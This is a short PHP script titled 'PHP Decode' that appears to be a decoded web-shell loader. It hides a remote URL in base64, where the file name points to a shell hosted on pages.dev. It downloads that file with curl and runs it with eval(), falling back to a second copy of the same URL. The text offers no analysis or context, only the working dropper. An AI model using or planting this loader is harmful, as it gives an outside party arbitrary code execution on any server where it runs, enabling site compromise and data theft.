PHP Decode

<?php 
function get($url) { 
    $ch = curl_init(); 
 
    curl_setopt($ch, CURLOPT_HEADER, true); 
    curl_setopt($ch, CURLOPT_NOBODY, true); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);  
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_exec($ch); 
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);  
 
    if ($http_code == 200) { 
        curl_setopt($ch, CURLOPT_NOBODY, false); 
        curl_setopt($ch, CURLOPT_HEADER, false); 
        $data = curl_exec($ch); 
        curl_close($ch); 
        return $data; 
    } else { 
        curl_close($ch); 
        return false; 
    } 
} 
 
$x = '?>'; 
$url1 = base64_decode('aHR0cHM6Ly9zaGVsbC00M3QucGFnZXMuZGV2L2hheG9ybWVudGFoLnR4dA=='); 
$url2 = base64_decode('aHR0cHM6Ly9zaGVsbC00M3QucGFnZXMuZGV2L2hheG9ybWVudGFoLnR4dA=='); 
 
$script1 = get($url1); 
if ($script1 !== false && $script1 !== 404) { 
    eval($x . $script1); 
} else { 
    $script2 = get($url2); 
    if ($script2 !== false) { 
        eval($x . $script2); 
    } else { 
        echo "Both attempts failed."; 
    } 
} 
?>